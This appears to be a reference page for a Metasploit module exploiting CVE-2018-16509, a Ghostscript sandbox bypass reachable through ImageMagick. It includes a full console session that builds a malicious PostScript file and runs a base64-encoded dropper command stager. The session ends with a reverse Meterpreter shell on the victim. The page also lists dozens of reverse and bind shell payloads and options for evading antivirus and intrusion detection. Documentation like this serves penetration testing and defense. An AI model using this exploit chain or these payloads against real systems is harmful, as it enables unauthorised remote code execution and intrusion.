Ghostscript Failed Restore Command Execution - Metasploit


This page contains detailed information about how to use the exploit/multi/fileformat/ghostscript_failed_restore metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Ghostscript Failed Restore Command Execution
Module: exploit/multi/fileformat/ghostscript_failed_restore
Source code: modules/exploits/multi/fileformat/ghostscript_failed_restore.rb
Disclosure date: 2018-08-21
Last modification time: 2019-07-09 17:36:28 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix, Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-16509

This module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


msf > use exploit/multi/fileformat/ghostscript_failed_restore
msf exploit(ghostscript_failed_restore) > exploit

Knowledge Base


Introduction


This module exploits a -dSAFER bypass in Ghostscript to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess.

This vulnerability is reachable via libraries such as ImageMagick, and this module provides the latest vector for Ghostscript.

For previous Ghostscript vectors, please see the following modules: exploit/unix/fileformat/ghostscript_type_confusion exploit/unix/fileformat/imagemagick_delegate

Setup


Install Ghostscript and use the console command (gs on Unix and gswin64c on Windows). You may also exploit the vulnerability through ImageMagick using convert or identify, for example.

Targets


Id  Name
--  ----
0   Unix (In-Memory)
1   PowerShell (In-Memory)
2   Linux (Dropper)

Options


FILENAME

Set this to the output file's name. Depending on the target environment, the file extension may not matter, so the PS file could be named msf.pdf, for instance. This can potentially work around filename filters.

WritableDir

Set this to a writable directory without noexec.

Usage


msf5 > use exploit/multi/fileformat/ghostscript_failed_restore
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set target Linux (Dropper)
target => Linux (Dropper)
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set disablepayloadhandler false
disablepayloadhandler => false
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set wfsdelay 3600
wfsdelay => 3600
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > set verbose true
verbose => true
msf5 exploit(multi/fileformat/ghostscript_failed_restore) > run

[*] Started reverse TCP handler on 172.28.128.1:4444
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+QAAAAAAAAB6AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UmoKQVlWUGopWJlqAl9qAV4PBUiFwHg7SJdIuQIAEVysHIABUUiJ5moQWmoqWA8FWUiFwHklSf/JdBhXaiNYagBqBUiJ50gx9g8FWVlfSIXAecdqPFhqAV8PBV5aDwVIhcB47//m>>'/tmp/hvQlm.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/tgxVT' < '/tmp/hvQlm.b64' ; chmod +x '/tmp/tgxVT' ; '/tmp/tgxVT' ; rm -f '/tmp/tgxVT' ; rm -f '/tmp/hvQlm.b64'"]
[+] msf.ps stored at /Users/wvu/.msf4/local/msf.ps
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 172.28.128.3
[*] Meterpreter session 1 opened (172.28.128.1:4444 -> 172.28.128.3:51648) at 2018-09-05 19:44:32 -0500

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer     : 10.0.2.15
OS           : Ubuntu 16.04 (Linux 4.4.0-134-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the multi/fileformat/ghostscript_failed_restore exploit module looks in the msfconsole:

msf6 > use exploit/multi/fileformat/ghostscript_failed_restore

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show info

       Name: Ghostscript Failed Restore Command Execution
     Module: exploit/multi/fileformat/ghostscript_failed_restore
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-21

Provided by:
  Tavis Ormandy
  wvu <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Unix (In-Memory)
  1   PowerShell (In-Memory)
  2   Linux (Dropper)

Check supported:
  No

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  msf.ps           yes       Output file
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload information:
  Space: 4089

Description:
  This module exploits a -dSAFER bypass in Ghostscript to execute 
  arbitrary commands by handling a failed restore (grestore) in 
  PostScript to disable LockSafetyParams and avoid invalidaccess. This 
  vulnerability is reachable via libraries such as ImageMagick.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2018-16509
  https://seclists.org/oss-sec/2018/q3/142
  https://bugs.chromium.org/p/project-zero/issues/detail?id=1640

Related modules:
  exploit/unix/fileformat/ghostscript_type_confusion
  exploit/unix/fileformat/imagemagick_delegate

Module Options


This is a complete list of options available in the multi/fileformat/ghostscript_failed_restore exploit:

msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show options

Module options (exploit/multi/fileformat/ghostscript_failed_restore):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.ps           yes       Output file
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)

Advanced Options


Here is a complete list of advanced options supported by the multi/fileformat/ghostscript_failed_restore exploit:

msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show advanced

Module advanced options (exploit/multi/fileformat/ghostscript_failed_restore):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   CMDSTAGER::DECODER                                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR                       auto             no        The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest)
   CMDSTAGER::SSL                          false            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                          no        Writable directory for staged files
   ContextInformationFile                                   no        The information file that contains context information
   DisablePayloadHandler                   true             no        Disable the handler code for the selected payload
   EXE::Custom                                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false            no        Use the default template in case the specified one is missing
   EXE::Inject                             false            no        Set to preserve the original EXE function
   EXE::OldMethod                          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                                no        The directory in which to look for the executable template
   EXE::Template                                            no        The executable template file name.
   EnableContextEncoding                   false            no        Use transient context when encoding payloads
   ListenerComm                                             no        The specific communication channel to use for this service
   MSI::Custom                                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                no        The directory in which to look for the msi template
   MSI::Template                                            no        The msi template file name
   MSI::UAC                                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false            no        Enable SSL/TLS-level compression
   SendRobots                              false            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module
   WfsDelay                                2                no        Additional delay in seconds to wait for a session
   WritableDir                             /tmp             yes       Writable dir for droppers

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/fileformat/ghostscript_failed_restore module can exploit:

msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix (In-Memory)
   1   PowerShell (In-Memory)
   2   Linux (Dropper)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/fileformat/ghostscript_failed_restore exploit:

msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                    normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                 normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   20  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   21  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   22  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   23  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   24  payload/cmd/unix/reverse_jjs                                 normal  No     Unix Command Shell, Reverse TCP (via jjs)
   25  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   26  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   27  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   28  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   29  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   30  payload/cmd/unix/reverse_nodejs                              normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   31  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   32  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   33  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   34  payload/cmd/unix/reverse_php_ssl                             normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   35  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   36  payload/cmd/unix/reverse_python_ssl                          normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   37  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   38  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   39  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   40  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   41  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   42  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   43  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   44  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   45  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   46  payload/generic/custom                                       normal  No     Custom Payload
   47  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   48  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the multi/fileformat/ghostscript_failed_restore exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/fileformat/ghostscript_failed_restore) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Please choose a smaller payload


Here is a relevant code snippet related to the "Please choose a smaller payload" error message:

94:	        remove_comspec: true
95:	      )
96:	
97:	      # XXX: Payload space applies to the payload, not the PSH command
98:	      if psh.length > targets[0].payload_space
99:	        fail_with(Failure::BadConfig, 'Please choose a smaller payload')
100:	      end
101:	
102:	      sploit.sub!(PLACEHOLDER_COMMAND, psh)
103:	    when :linux_dropper
104:	      cmdstager = generate_cmdstager(

Please choose a smaller command stager


Here is a relevant code snippet related to the "Please choose a smaller command stager" error message:

106:	        temp:    datastore['WritableDir']
107:	      ).join(';')
108:	
109:	      # XXX: Payload space applies to the payload, not the command stager
110:	      if cmdstager.length > targets[0].payload_space
111:	        fail_with(Failure::BadConfig, 'Please choose a smaller command stager')
112:	      end
113:	
114:	      sploit.sub!(PLACEHOLDER_COMMAND, cmdstager)
115:	    end
116:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Tavis Ormandy
  • wvu

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.